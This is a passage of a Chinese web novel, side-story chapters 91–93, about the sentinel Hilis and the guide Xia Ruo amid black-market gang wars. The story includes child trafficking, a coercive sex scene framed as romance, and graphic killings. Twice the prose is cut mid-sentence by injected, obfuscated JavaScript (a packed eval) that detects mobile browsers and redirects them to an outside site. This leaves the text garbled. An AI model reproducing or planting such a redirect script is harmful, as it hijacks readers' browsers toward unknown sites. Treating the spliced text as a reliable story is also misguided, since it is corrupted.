夏若是知道怎么伺候男人的,她就是做这一行出身的,眼波流转温言软语于她而言手到擒来。既然气氛已经被烘托到这儿,希里斯也算是明确加入了她的阵营,那么她将自己收拾妥当送上门去也是情理之中的。 为了讨好希里斯,她当真都快把烟戒了。夏若做了全身脱毛、还给自己泡了个玫瑰精华的澡,这段时间她严格控制饮食,硬是把腰又瘦回了17岁的尺寸。她在镜子里仔细地观察着自己的身子,庆幸自己保养得还算不错。 把自己送给曾经的死对头,听起来确实有些难堪,可是为了生存,她不得不咬着牙去做,反正也不是第一次做这些事,这么多年都过来了。 可这一次,夏若的如意算盘打空了。 装潢华丽的别墅里,希里斯的卧室门被轻手轻脚的打开。夏若不着寸缕,只披着一身白色的浴袍,她确实是一个美丽的女人,肤如凝脂、身型曼妙,仿佛一朵妩媚的玫瑰,在柔和的月光下盛开。 这段时间她做足了功夫,给够了希里斯体面,男人么,需要的无非就是那几样东西。 以为一切顺利的夏若在将手伸进对方睡衣时被再次握住。 “嘶,痛……”她娇嗔着抬起眼,随后便立即噤了声。 希里斯正面容冰冷地看着她,哨兵的眼型狭长深邃,那双绿色的眸子正泛着森然的寒光,哪里有半分情动。 “你有求于人的时候,对谁都这样么?”哨兵扣住她的下颌,冷声问道。 夏若并不是自愿沦落到这个地步的。 她生在兵荒马乱的南方小镇、在贫民窟长大,从小就没有父母。她在14岁时分化成向导,随后很快就被黑-帮掳走,扔进了拍卖池。 美丽的容貌在黑暗的泥沼中只为她带来了诅咒,她被侮辱欺凌、践踏到尘埃里,她的精神力也在那个时候被切除,自此残缺。 如果不是她17岁时被一位黑-帮大哥看中买下来,她还不知道自己能活多久。这位买下她的人名叫霍特斯,是她的第一任丈夫,他将她从地狱里救出来,给了她人生中第一个落脚点。 三年后,霍特斯在一次北方军的突袭中身死,夏若再次孤身一人。所幸亡夫手下还有一帮雇佣兵兄弟忠心耿耿地跟随着她,往后七年,她接手了亡夫的产业、费心经营,将地盘与业务规模逐渐扩大、甚至攀上了南方政-府的关系。 玫瑰从坚硬贫瘠的石棱中冒出头来,在雨打风吹中伏低了身子,抱住自己浑身流血的伤口。 活下去,再活一天。 她闭上眼,一遍又一遍地鼓励着自己。 91. 希里斯番外[番外] 在整个南部黑市,没有谁能不服夏姐拿下男人的本事,比如现在。 夏若年轻的时候本就容色倾城,还曾引得几个帮-派的头目为了她火拼,而现在她看上去仍旧宝刀未老,连希里斯这样的人物都能被她摘到手里。 在此之前,德里尔和克莱恩两家并不是没有试图笼络希里斯,开出的价钱也都不错,只是都被拒绝了。他一直保持着游走观望的状态,好像自己并不属于这摊泥沼,只是一个路过的旁观者。如果要夏若形容的话,她觉得希里斯像是天边遥远的星辰,她只能触碰到他投射下来的冰冷的光。 所有人都当夏若手段了得,她与希里斯的合伙也被传成了风流韵事,英雄难过美人关嘛,另外两家也有了面子和台阶。 不过只有夏若知道她从来没有拿下希里斯,在她把自己打包好送上门的那一晚,她生平第一次被完璧归赵了。 哨兵例行公事地接手了她的一半产业,态度仍旧和之前一样疏冷游离,没能顺利爬上他的床,夏若总觉得内心不安。她进而意识到,眼前这个年轻哨兵怀有的野心远超过她的想象,他同那些放纵自己声色犬马的雇佣兵都不同。 该说不说,他们的合作十分成功,有了S级哨兵的加入,霍特斯一整个如虎添翼,实力在短短一年之内迅速攀升,这愈发将希里斯突显得价值连城,各方势力都看红了眼。 这就是夏若的敏锐之处,她总能先于行情做出快速反应,而且她也仍旧有自己的底牌。 自从和希里斯合伙后,哨兵主要负责对外的产业经营以及武力威慑,而她负责最关键的环节——与南方政-府的接洽。没有这一层关系,她早就被吃到渣都不剩了,这也是希里斯目前还愿意与她合作、没有直接取而代之的原因。 毕竟,即使是再大规模的产业也需要有市场,南方政-府既是他们的最大买家,也是他们的保护伞。 夏若从来没有让希里斯染指过一点点自己与南方政-府的关系,那可是她安身立命的本钱。 希里斯是在五月的尾稍回来的,冬季的天空是浅淡的铅灰色,寒风冷冽地掠过寂静的庭院,门口处精雕细琢的大理石喷泉也干涸了,泽卡迎来了有史以来最冷的时节。 “夏姐呢?”银发哨兵慵懒地将催化剂的数据放到台上,工作还是要按部就班地完成,毕竟夏若仍旧是帮-派名义上的老大。 “哦,忙事情去了。”对面的年轻哨兵接过数据表单,这话的意思是夏若去和南方政-府接洽了,这是希里斯不该过问的地方。 “还没回来?”白狼一反常态地眯起眼,似乎不打算轻易放过。 “前天晚上回来了……在休息呢。”年轻哨兵立即识时务地垂下了眼,尽管他是一直以来跟随夏若的人,他也不敢得罪眼前如日中天的S级哨兵。 那天,希里斯并没有像往常那般交接完工作就离开,在白狼的半胁迫下,销声匿迹许久的夏若不得不现身。 还是那个一年前她替他举办晚宴的走廊,还是天光将尽的暮色斜阳,灰蒙蒙的苍穹阴了一整天,到最后却迸发出了一道亮烈的金色夕阳,只可惜那道灿烂的光华很快便消隐在暗色的夜幕中。 夏若的脸也随着夕阳的落下,重新恢复了原本的颜色。许久不见,她憔悴了很多,因为没有化妆,她凹陷的面颊与青黑的眼袋看上去十分明显。她站在走廊的尽头,像是一道单薄清浅的影子,好像下一刻便会消散。 见希里斯来,她只是冲他点点头,血丝密布的眼里只有疲惫与荒芜。 冬天的风太冷了,尤其是在夜幕降临之后,夏若一边咳嗽,一边掏出了烟。火星在点燃的那一刻就被哨兵拎走扔掉了,希里斯没有给对方任何反抗的机会。 “现在不演了?”他还是那么会踩夏若的痛点,若是放到以前,拉下脸讨好他这事被戳出来,夏若高低是要炸毛的。 可现在,眼前的向导神色冷淡,那双好看的暗红色眼眸缓慢地眨了眨:“反正你也没瞧上我。” “进去说,外面冷。”哨兵钳住她瘦削的手臂,把她往门里推。 霍特斯高歌猛进了一整年,其余两家也委实坐不住了,就在前段时间克莱恩在远离泽卡的凯林斯蒂庄园给希里斯举办了一场晚宴——当然是以聊生意为名,克莱恩两兄弟亲自出场,整场宴会办得极尽奢华,除了许诺优越的条件与分红之外,当然也少不了美色的点缀。 两位年轻的向导女孩被精心装扮、带到了希里斯跟前,看上去大约十六七岁的模样,都是面容姣好、肤白貌美的尤物。 向导么,有的是更年轻漂亮的,她夏若已经28岁了,克莱恩兄弟还不信自己翘不动这墙角。 遗憾的是,他俩这次确实是踢到铁板了,希里斯谈完该谈的生意,没有再接纳他们提出的任何条件、也没有碰那两个向导女孩。 夏若只是在泽卡忙她自己的事,她没聋没瞎,对家这样堂而皇之地挖人,信息很快就传到了她的耳朵里。面对小弟忧心忡忡的眼神,她也仍旧只是淡然地摆了摆手。 这些年,也不知道是不是年纪上来的缘故,很多事情她已越看越淡。就算希里斯真的答应了对方、背弃了自己,她也没有任何办法。光是要应付南方政-府已经够她喝一壶了,她实在没有精力再管别的。 “希里斯,你该不会不喜欢女人吧。”虽然是这样,该踩的痛点还是要踩的。 白狼抬头望向她,冷绿的眸子绽出明丽的光芒,霎时将暗沉的室内点亮:“还以为你往后都没力气骂我了,有点可惜。” “去死……你该不会是不行吧?”夏若换上了更加嫌弃的目光,上下打量着眼前身量挺拔的哨兵。 “呵。”希里斯冷笑一声,不做辩驳:“你还真的不担心我被挖走?” “你被挖走我也没办法啊,不如省点力气。”夏若剥开一个薄荷糖塞进嘴里,她静默了片刻,收敛了调笑的神色:“你三番五次拒绝了克莱恩兄弟,他们不会善罢甘休,以我对他们的了解,得不到的好东西他们一般会选择毁掉。” “可以啊,让他们来吧。”希里斯也剥开了一颗薄荷糖,神色云淡风轻。 夏若侧过脸,深深地注视着他,干涸的眼眸终于有了些许流动的情绪,可她最终只是摇了摇头。 这一次希里斯回到泽卡后就再也没有离开过,夏若旁敲侧击地问他最近新收来的场子盈利情况怎么样、更新的设备还有元器件在哪对接,对方从容不迫对答如流。 这一年的时间,希里斯也在帮-派内部聚拢了一波自己的势力,他已经可以放心将这些杂事分给小弟去做了。 “怎么,这么想赶我走?”看着她吃瘪的样子,哨兵面容愉悦。 “切。”夏若翻了个白眼,心里想着,不就是想看我怎么和政-府打点关系嘛。她知道他并非池中之物,有这一天是迟早的事。 想学就学吧,自己能做的事他未必能做就是了。 这是他们最后一次无拘无束地嘴对方,夏若的定律应验了,出来混哪里能一直是风平浪静的好日子,好了这么些时候,坏日子也就要来了。 晚上凌晨2点,希里斯被电话打醒,是夏若身边的人,只说让他立即过来一趟。 情况不妙,希里斯迅速换上作战服,他不是没有考虑过夏若设套干掉他这个可能性,所以带上了身边几乎是最得力的手下。 夏若倒是没有设套干掉他,但他宁愿她此时在生龙活虎地给自己设套——在他看见她躺在病床上惨白的面容后。 “怎么回事?”希里斯一手拎起年轻哨兵、将他掼在墙上,对方被巨大的力量提得几乎双脚离地。 鸦片味的信息素几乎是在微凉的空气中爆裂开来,被高阶哨兵的信息素如此霸道凶狠地压制,年轻哨兵发着抖全招了。 那位一直在政-府中照拂他们的大人物要求夏若过来赴宴,夏若只能赶紧打扮了赶过去,送回来的时候就变成这样了。 在希里斯厉声询问的时候,一旁的医务人员正在对夏若进行抢救,她全身泛着死一般的灰白,肢体抽搐、意识全无。希里斯把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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直到后来很久他才知道,原来在切除精神力以前,她的向导素就是玫瑰。 夏若最终捡了条命回来,希里斯倒也没有守着她,这也实属正常,毕竟以他俩的关系,能不在对方落难时踩一脚就不错了。 没有人知道希里斯去了哪里,这位神秘的雇佣兵向来行踪成谜。不过等夏若恢复到能下床走动时,一个巨大的爆炸新闻将整个南方掀得天翻地覆。 南方政-府的哨兵总负责人布鲁克斯上校在一场意外车祸中殒命,目前不排除是北方间谍的动作。 布鲁克斯是早期就跟随军-政-府初代首领晏景行的重臣,即使后面晏景行身死,他在南方军的地位也举足轻重。 一觉醒来,夏若的天都要塌了,她好端端的保护伞说没就没了,这些年来倾其所有付出的代价、耗费的心力也全都没了。 虽然,她知道布鲁克斯实际上也只是南方政-府的传声筒。这些年来,他们三大帮-派斗得你死我活,谁也吃不下谁,终究不是长久之计。南方政-府需要一个稳定、统一的黑市替他们提供原料、包揽脏活,眼下他们不过是还在观察,最终选定一个适合的人或者势力。 而到了那一天,也是其他未被选中者烟消云散的时刻。 布鲁克斯愿意给夏若一点脸色,究其原因和希里斯一样,他同样考量到相比于另外两家,夏若的势力更单薄、也更容易掌控。至于对她的欺凌,不过是用完了这块砖后顺便踩一脚罢了。 而现在,另外两家虽然也在政-府中各有保护伞,但境况并没有比她好多少。毕竟,现在的南方政-府被牢牢掌控在一个人手里,他们投靠的每一位保护伞,也都长着一样的舌头、传递着一样的声音。 他们就像是被权力阶层把玩在手心的虫子,被封闭在不见天日的地狱里,拼尽全力做困兽之争,高高在上的权谋者让他们互相厮杀,最终挑选出最后的获胜者,夏若没有任何信心认为自己可能会是这场惨烈厮杀的赢家,很显然其余两家也一样。 长期被生死存亡的巨大压力笼罩,每个人的精神几乎都到了崩溃与爆发的边缘。动荡的局势在高压中摇摇欲坠,最终有人按捺不住,擦枪走火。 夏若觉得有时候自己的嘴仿佛是带有诅咒,只要是她判定出口的事,十有八九会成真。 比如她曾经告诫过希里斯,克莱恩兄弟得不到的东西就会毁掉。 他们确实这样做了。 92. 希里斯番外[番外] 事发的那一晚,夏若刚好和希里斯在一起,也亏得对家这样会选时候,他们俩其实很少一起出行。 夜幕笼罩下的夜总会灯火辉煌,这是夏若手下最当口的一家场子,每年带来的收益相当可观。夏若穿了一条酒红色的珠光鱼尾裙,配上如云似雾的白貂大衣,她勾着精致的妆,晶亮的红唇与宝石般的眸子顾盼生辉。 希里斯就在旁边,在看到她的那一刻,他的目光显见地暗了暗,喉头微微滚动。 今夜的温度极其寒冷,泽卡罕见地下起了雪,车门打开,夏若将高跟鞋踩在潮湿的地上,一把黑色的伞便在她的头顶撑了起来,替她挡住了飘飞的落雪。哨兵伸手将她从车上扶下来,她有些惊异地抬眼,对上希里斯冷色的眼睛。 这样的事,让小弟做不就行了么,夏若在心底腹诽,但到底没有说出来,她看不透希里斯这个人,算不准他心里究竟在想什么。 爆炸在她离开车的那一瞬间猝然发生,对家这一次的准备周密至极,以至于连希里斯都没有感知到问题。爆炸的巨响与气浪瞬间将夏若掀翻,下一秒,子弹的破空声便从四面八方朝着她袭来。 那一瞬间,她只感到自己被一股力量猛地压住,希里斯在袭击发生的瞬间便做出了反应,在她的目光无法捕捉的残影中,他已抽刀将朝着他们射来的子弹全部挡下,利刃划破寂静的空气,碎裂开来的子弹片在燎烈的火焰中四下飞溅。 一滴滚烫的液体滴到了夏若的脸上,她抬起头,有一发子弹擦伤了希里斯的左肩。其实刚刚的袭击完全不足以对S级哨兵构成威胁,从刚才的爆炸到现在的枪林弹雨,全都是冲着夏若来的。 为了保护她,希里斯罕见地暴露出了自己的防守薄弱区,此时的哨兵正牢牢将她护在身下,他的身躯坚不可摧,仿佛无可撼动的城池。 按照这样的情景,这一波偷袭算是无功而返,可对家很显然预判到了这一幕,从单纯的武力较量上,面对希里斯他们没有任何胜算,所以他们用别的方式设计了一个精美的杀阵,今晚这场猎杀的高峰便藏在刚刚那颗擦破希里斯的子弹里。 哨兵的身体开始发抖,夏若脸色陡变,她仓皇抬起头,只看到希里斯血红的眼睛。 神志从希里斯的脑海中剥离,只是顷刻间哨兵就变作了没有意识的野兽,这套精心设计的杀阵直到此时才显露出真正的獠牙。那是一种新型研发的催化剂,烈度与感染度极高,几乎是瞬间便可以令哨兵陷入疯狂,分化层级越高、失控与狂化的程度就越高。 夏若抱住自己的头,闭上了眼,惨烈的呼喊从遥远的地方响起,很快就又沉寂了下来。希里斯失去了控制,在几乎五分钟的时间里,这里所有带有生命的活物已全部变成了血肉模糊的肉-块,浓烈的血腥味冲击着她的神志,令她几欲作呕。 哨兵的脚步声朝着她缓缓走来,夏若不敢睁开眼,虽然心里对这一天早有准备,可真的到了这一刻,她的心脏还是被恐惧攥住。 预料之中的死亡却久久没能落下,久到她睁开眼,却只看见眼前一道倾颓的身影——希里斯倒在了她的怀里,哨兵的身体将她砸得头晕目眩,他浑身是血、陷入昏厥,夏若在短暂的愣神后迅速反应了过来,她立即拿出了散落在一旁的通讯器。 “希里斯,希里斯!”迷蒙的白光间,他听见她的声音,好像是从极其遥远的地方传来。他的灵魂虚无地飘散在空中,仿佛与他的身体隔离。 这种新型烈性催化剂的伤害极大,夏若几乎是翻出了自己所有的家底,还好她是制造药剂起的家,最近的药品仓库内便放有种类完善的对抗剂,在完成血检之后,她立即对号入座将解药打入了希里斯的身体。 对抗剂很快起了作用,希里斯感到身体又烫又冰,好像在被灼烧、又被放置在寒冷的雪地里。 没有人敢靠近一个失控的S级哨兵,夏若的核心成员也在那一晚的袭击中损失殆尽,她将自己和希里斯一道关在了层层落锁的防空洞深处。她已经什么都没有了,她失去了保护伞、失去了可以依靠的部下,她只有他了。 黑暗的地底深处,时间变得不辨晨昏,希里斯在昏迷中抽搐,他的身体时而被高烧烧得滚烫,时而又冷得唇齿打颤,盖在他身上的毯子像是没有任何作用,她只能把他搂在怀里,期望自己的体温有那么一点点作用。 她是一个残疾的向导,没有精神力、也没有向导素,几乎是手无寸铁、肉体凡胎,可她敢将自己和一个失控的S级哨兵关在一起,即使结局是不得好死,她也要拼尽全力。 那是希里斯距离死亡最近的一次,他们蜷缩在黑暗的角落里,渺小如同蜉蝣、低微如同尘埃,只能在不见天日的混沌中祈祷,等待命运的凌迟亦或眷顾。 三天后,剩余的雇佣兵已经开始商量后事,夏若和希里斯却活着从里面走了出来。 按照规矩,主动发起攻击的那一方将承担对方所有可能的反击,不限于任何方式、时间与场地。 希里斯最终用相同的方式终结了克莱恩兄弟,他将烈性催化剂同时注入了他们的身体,让他们在疯狂中把对方和自己都撕成了碎片,三大帮派之一的克莱恩家被一夜之间灭族。 做完这一切后,哨兵换下了浸透血污的作战服,将自己打理干净,随后前往了那家地下医院。 冰冷的消毒水弥散在周围,白色的冷光下,医生放下了手中的仪器,他带着一副金丝眼镜,在仔细检查完哨兵的情况后,镜片后深蓝的眼睛微微眯了起来:“状况不错,很稳定。” “嗯。”希里斯给了对方一个简洁的回应。 医生刚刚检查的是他的后脑,那里有一处不易察觉的缝合口。夏若并不知道,早在半年前希里斯就做完了这场手术,他的脑袋里放置了一块金属夹片,从那以后,他将是一个不会失控的S级哨兵。 在袭击事件发生后,希里斯实际上消灭了两大帮-派——克莱恩与夏若。受袭击当晚他并没有失控,那个金属夹片赋予了他绝对的理智,他只是在半真半假的演绎里杀掉了夏若手下的所有人,顺便干掉了克莱恩家族。 这场无聊的游戏应该赶紧结束了,医生也同意他的想法,完成检查后他便将手套摘了下来,放置在一旁的托盘上。 难以想象,南方政-府的最高领导人此时正以如此平凡的姿态,与希里斯相对而坐。 “还剩最后一家德里尔,我会寻个由头把他们解决掉。”白狼语调淡然,但他到底还是得先报备一声。 “随你,反正他们也没用了。”晏泽从善如流地点点头,这场精彩的厮杀给他带来过片刻的欢愉,但也仅此而已,现在他已不再需要了。适合统领黑市的人选已经脱颖而出,他看中了这个人,并且亲自为他完成了手术。 “我就说,能把布鲁克斯干掉的人我很有兴趣。”晏泽说这话的时候嘴角微微扬起,噙着一丝若有似无的笑意。 “那么废物的东西你还当个宝似的留在身边,真不知道该说什么。”希里斯翻了个白眼。 “这不是现在有你了。”晏泽眼中的笑意更甚。 他对眼下自己钦定的人选十分满意,这个哨兵年轻、强大、聪明且识时务,最关键的是,他并非一匹无牵无挂的孤狼,他是有把柄握在他手里的,这简直是一把完美的利器,还是能被他掌控的利器。 “把德里尔老头宰了后,你打算怎么处理夏若?”晏泽故意问道,不出意外地得到了沉默。 “你爱她。”许久后,没有得到回应的医生笑着垂下了目光,他的语调淡淡的,轻却笃定。 晦暗的光影下,白狼紧抿的唇角微微一颤。 这就是这把利器的命门、他的阿喀琉斯之踵,不是脑袋中的夹片,而是一个女人。 晏泽觉得自己今晚的快乐已经有些过载了,他很久都没有这样开心过了,于是大发慈悲地在兴头上停住了嘲弄。 “去吧,把该收拾的事情收拾了,再过来向我复命。” 在希里斯对德里尔家族发起清缴的当晚,夏若准备好了跑路。 这是她唯一可以脱身的机会, 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夏若不再说话,哨兵一步步朝她走过来,血色从她的脸颊上一点点消失。 又一场爆炸响起,剧烈的光将黑夜映照得仿佛白昼,眼前的S级哨兵对如此剧烈的光线与气流充耳不闻,他伸手扣住了她惨白失色的脸。 “你不是想找个新势力依靠么?现在愿望达成,不高兴吗?”他用指尖摩挲过她不再年轻的皮肤,微眯着眼。 那是以前他们互相怼对方时希里斯一贯的神情,只是现在的夏若太过惊慌,她呼吸急促,连面颊都泛着病态的红。 没能得到期望中的反应,哨兵冰绿的眸子微微一暗。 她不会再像以前那样神采飞扬地骂他了,这场从头到尾各怀鬼胎的合作已经结束,她的机谋巧算、曲意逢迎也都结束了。 最开始的时候,是她伸手挽住他的手臂、贴近他的身边,如今做这事的却换做了他。哨兵将残疾的向导扣在怀里,力道克制在一个霸道和温柔的微妙区间,他凑近她的耳廓轻声道:“如果你一定要攀附权贵,以后可以只攀附我一个人。” 在这样近的距离里,他们的心脏紧紧贴合,仿佛缠绵一般交融在一处。 “我是说……从今往后,你只用陪我一个人睡。”似乎怕她听不明白,他更加恶劣地说道。 “你不是还说我不行么……”他的记忆力还是这样该死的好,而且暇眦必报。 “不如今晚就试试……” 平心而论,这远并不是夏若遭受过的最严重的欺凌。 她曾经受过更加惨烈的虐待,长久非人的折磨已经让她无法从男女之事上感觉到什么欢愉,只是对痛苦的忍受阈值变高。希里斯对她不算太坏,好歹没有抽她、没有踩她、也没给她注射致幻剂。 只是她年纪大了,不再像以前那样承受得住,被扣住下颌长久地撕咬,她已经有些窒息,想挣扎着呼吸一点空气,却被对方当做了反抗,于是又迎来了新一轮的鞭挞。 要是早知道有这一天,她发誓自己一定会少嘴他几句,不,她一句都不该嘴他。昏厥前,夏若用仅存的意识忏悔到。 如果希里斯想要折磨她,他可以在玩腻后把她扔回拍卖池,她原本就是从那里出来的,最后回到那里也是死得其所。在被希里斯逮住时,她识时务地没有开口求饶,但如果是被扔回拍卖池,她大概还是会求他给自己一子弹。 夏若已经活到了快29岁,这对于拍卖池里的向导来说是相当高的寿数,通常来说她们都不会活过20岁。 这些年来她也算是“养尊处优”,如果再回到那个地狱里,应该撑不过一个月,不过这样也好。 拼尽全力挣扎了这么些年,她觉得够本了,也有些累了。 死亡贴近在她眼前,不再狰狞可怖,而是像母亲一样张开双手,接纳风尘仆仆远路而归的孩子。夏若艰难地呼出最后一口破碎的气息,眼泪从干涸失神的眸子中涌出,她感觉自己在往下坠落,归于一片柔软而无垠的黑暗里。 93. 希里斯番外[番外] 昏迷如同长夜一般降临,这些年来支撑着夏若的求生意志崩塌溃散,早年所受的伤与感染的病全都卷土重来。 那是一场黑暗却温暖的梦,她感觉到身子十分轻盈,没有痛楚和寒冷,鼻息间弥散着淡淡的鸦片味。她意识到自己好像置身于一个不算柔软的怀里,有点硌人,她不舒服地动了动,想要从有些坚硬的桎梏中脱离出来。 抱着她的胳膊好脾气地松了些,随她在怀里无意识地挣动。 如果是在拍卖池,这样长期重病无法接-客的向导会被直接处理掉,有时候甚至她们还没有断气。夏若以为自己已经走到了生命的终点,黑夜却在长久的沉寂后走到了晨光微熹。 她睁开眼,雪亮的阳光盈满了室内,是个陌生却装潢华美的房间。她躺在一张柔软的鹅绒大床上,手背上扎着留置针,看上去才输完液。眼前是米色的毯子、浅色的窗帘与薄纱,整个屋子如同素洁的雪洞,很符合某位哨兵的审美。 不过,在满目白色的房间里,却摆放着一束红色的玫瑰,看上去极其醒目。花一看就是新摘来的,含苞待放、娇艳欲滴,馥郁的花香萦绕在室内,盛着昨夜潮湿的雨露。 夏若花了相当一段时间仔细打听现在的情况,其实这也不难打听,南部黑市大变天已经众人皆知,短短数个月,盘踞多年的三大帮-派被血洗殆尽。 新的统治者从旧的躯壳中吸足了血-肉,踩踏在他们破碎的肢体上,走向了权力的顶端。 她这才开始理解希里斯在那晚说的话是什么意思。 不过,这也不是夏若面对过的最糟糕的情况,甚至还算稍微可以接受的结局,无论如何总比回拍卖池强,被一个人弄好歹强过被无数人…… 她又回到了熟悉的节奏里,几乎可以算得上重操旧业,在恢复到可以下床后,她要来了护肤品与化妆品,没有再要香薰与香氛。她仍旧严格地节食、脱毛、每日清洗打理着自己,她清楚自己现今的处境,也清楚怎样做才能少受些苦头。 整整一个月后,新任的地下国王才姗姗来迟。 没有想象中奢华的排场与前呼后拥,希里斯还是穿着那身熟悉的银色作战服,孤身一人、风尘仆仆,战服上沾了一层厚厚的灰尘与泥泞,还好没有血迹。 夏若迎了上来,换上了一副讨好的、小心翼翼的笑颜,她一直严格保持着养护与作息,这会儿刚好清洗沐浴完身子。 仇家、合伙人、下位者,她总是能敏锐地适应每一种不同的处境,变化不同的形态。希里斯看着眼前侍奉自己的向导,现在的他有足够的耐心与时间,他要看遍她所有的伪装和每一份他不曾知晓的手段,将她一层一层地剥开、直到露出她原本真实的模样。 纤细的指尖抚上哨兵的肩甲,又是那样的试探,随后灵巧的手轻轻一扣,开始拆卸作战服。夏若对各类哨兵的作战服结构熟悉至极,她非但需要熟练地拆解它们,还要拆解得让人舒服。 哨兵一抬手,她便知道接下护臂,繁复的结构很快就被她解除完毕。到最后,她温婉地跪坐在他面前,替他脱下靴子。整个过程中,希里斯都不发一语,只是静静地注视着她。 这确实是他未曾见过的模样,她总是可以在任何境遇里活下来,以任何的姿态、任何的面具,就像在缝隙中坚韧求生的小花,像柔软而永不干涸的水。 脱完衣服后,就是沐浴和按摩,这都是基本功。这段时间夏若费心琢磨希里斯的审美,终于没有了刺鼻的人工香氛,希里斯喜欢素净,所以她也洗掉了一直偏好的红色指甲油。 在氤氲的水汽中,哨兵冷硬的绿眸被蒸腾得有些湿软,可他的神情看上去没有半分愉悦。按照他和夏若以往的节奏,他现在多少该嘲讽她几句,比如——“可以嘛,你的业务能力还没有荒废。” 可是他什么都没有说,细微的流水淌过寂静的空气,他们在暗淡的光线中沉默相对。如同之前的每一次那样,她看不清他的情绪、猜不透他的想法。 这些细密精巧的活计进行到最后,总归还是要进入正题。夏若收拾好了自己,在希里斯身边躺了下来,其实按摩到了最后,她能感觉到对方有些累了。哨兵的手在黑暗中搭上了她的腰,有一些重,夏若调整了一下呼吸,却没有等来下一步动作。 她往后偏头,却见希里斯合上眼,已经睡了,哨兵温热的呼吸喷洒在她的鬓发间,胸膛均匀地起伏着。 嗯?夏若陷入了疑惑,身子不自觉动了动。 那只搂着她的手臂忽然一紧。 “别动。”哨兵仍旧合着眼,语调低沉沙哑,却隐藏着淡淡的威胁:“不想再挨的话……” 她吓得立即噤声,绷紧了身子。 “太瘦了……”哨兵的手朝着她的衣衫深处摸去,只摸到一层薄薄的皮和分明的肋骨,他的语气有些不悦。 这是那一晚希里斯最后说的话,随后他便真的睡了。 医生说,夏若病得太重,她的生殖系统已经损坏了一部分,现在那里感染和病变的概率很大,他们建议切除子-宫。 希里斯换了好几个治疗团队,得到的也都是差不多的回复,最终他不得不同意实施手术。 虽然切除了精神力,子-宫本来也失去了生育的能力,可是当真切除掉一个器官后,身体就像是原本平衡的积木被骤然抽走了一块,剩下的部分便稀里哗啦地倒塌了下来。 夏若面无血色地躺在床上,薄薄的身影看上去又轻了几分,她又被切走了一部分,刀口还在痛着,痛得她失去了所有的力气。 希里斯对此沉默以对,也许夏若会以为他是故意想要折磨她,可他就是赌气似的不打算和她解释。他做的很多事都从来不曾和她提起,包括宰了那个曾经欺负她的混蛋。 非但如此,他还强制拿走了她所有的烟。 “希里斯,你这个混账!”她气急败坏,忍着痛和泪咬牙切齿地骂他,他不为所动。 如果在她眼里,他还是那个十恶不赦的混账,那他就继续做那个混账,他要做所有混账里最恶劣的那一个。 经历了元气大伤的切除手术,夏若的恢复期变得更长,她感染的病症也仍旧没有完全痊愈,医生建议在病愈之前都不要再发生亲密关系。 希里斯这一忍就是整整一年,他也不过二十多岁,正是血气方刚的年纪,却硬是忍着没有碰她,也不去找别的向导和女人。日复一日,他就这样整夜静静地抱着她,什么都不做,压抑得狠了,最多红着眼睛凶她别动。 夏若从来没有过这样长的安稳时光,可以不为生计奔波、也不被折磨欺凌,她的身体在充足的修养与医治中渐渐恢复,到后来那些顽疾当真断了根。 在她养病的日子里,希里斯能陪她的时间不多,黑市统一的前期并没有那样平稳,剩余的各家势力不是没有尝试过反扑,各类袭击与反击层出不穷。 有那么一段时间,夏若感觉搬家搬得十分频繁,经常才落脚不久便又要打包东西。她仍旧保持着那份敏锐的生存本能,而后某个奇异的念想从她的心里破土而出,那是她从来未曾设想过的可能性——希里斯很担心她的安危。 甚至、也许,有没有一种可能,他其实一直是爱着她的,虽然他从来没有宣之于口。 再之后,当所有风波都已平息,新的泽卡已经拔地而起,希里斯将这里打造成了庞大的钢铁机械,从那以后,这里将会以前所未有的规模与效率替南方政-府行事。 他将夏若放置到了远离泽卡的温凡行宫,那是曾经皇室留下的宫殿,他把她放在那里,仿佛她是水晶棋盘上名副其实的皇后。 夏若的整个前半生都充满了动荡与挣扎,现在却被忽然放置在了这样一个奢靡瞩目的王座顶端,那是他为她打造的黑暗帝国。 直到后来很久,她才在逐渐淡去的旧忆中回想起了她原本的目的,她那时的确想选中他做为新兴的势力依靠,可是她实在没有想到自己能得到这样多。 她想得到的只是一盏足够穿行过黑暗的灯火,而他给了她漫天星海。 命运像是忽然决意要将从她身上夺走的所有,全都一股 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055932|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑地重新还给她。 在夏若生日的时候,希里斯送给她的礼物多到可以堆成一座小山,有珠宝钻石、高定礼服、包包鞋子、豪车、艺术品……好多都是黄金时代的绝版。 昂贵的玫瑰花海包围了整个宫殿,在漫长的冬季里,一支鲜花的价格贵抵千金。黑市被分为24个大区用以种植催化剂的原料,那是一种被称作奥莉薇尔的紫色花卉,自从希里斯统领黑市以来,这种花的种植便被他一人垄断。 按照催化剂的价格,每一朵奥莉薇尔都堪比黄金,可希里斯仍然命人清空了一整个大区,用以培植各色玫瑰。在整个漫长的冬季里,夏若一直被簇拥在玫瑰的花海中。 他拼命地想要把一切都补偿给她,尽管很多苦难并不是他对她造成的。 夏若其实并没有非常喜欢那些闪亮的宝石、亮片、化妆品和高跟鞋,那会让她想起不甚美好的过往,是她将自己装扮成美丽货物的刑具。 她喜欢的是零食与布娃娃,小的时候常常忍饥挨饿,也只在发光的橱窗外见过精美的玩偶,稍微多站一会儿就会被店主像驱赶乞丐一样赶走。她曾经在街角注视过被父母爱着的孩子,她们穿着崭新漂亮的衣服,怀里抱着巧克力和玩具。 即使到了后来,她也不敢放纵着自己吃太多,为了严格保持身材和容貌,她已经习惯于忍受饥饿,如同习惯于忍受痛苦。 而现在,夏若的目光扫视过眼前琳琅满目的礼物,巧克力做成的城堡和乐园占满了一整个长桌,各色的毛绒玩具被放在精美的礼物盒里,砌满了一面墙。 她有些惊异地从中拿出了一个玫瑰香氛,转而问希里斯:“你不是不喜欢这个味道吗?” “我没说过。”他耍赖,从后搂住她的腰身,将她压在玻璃上索吻。 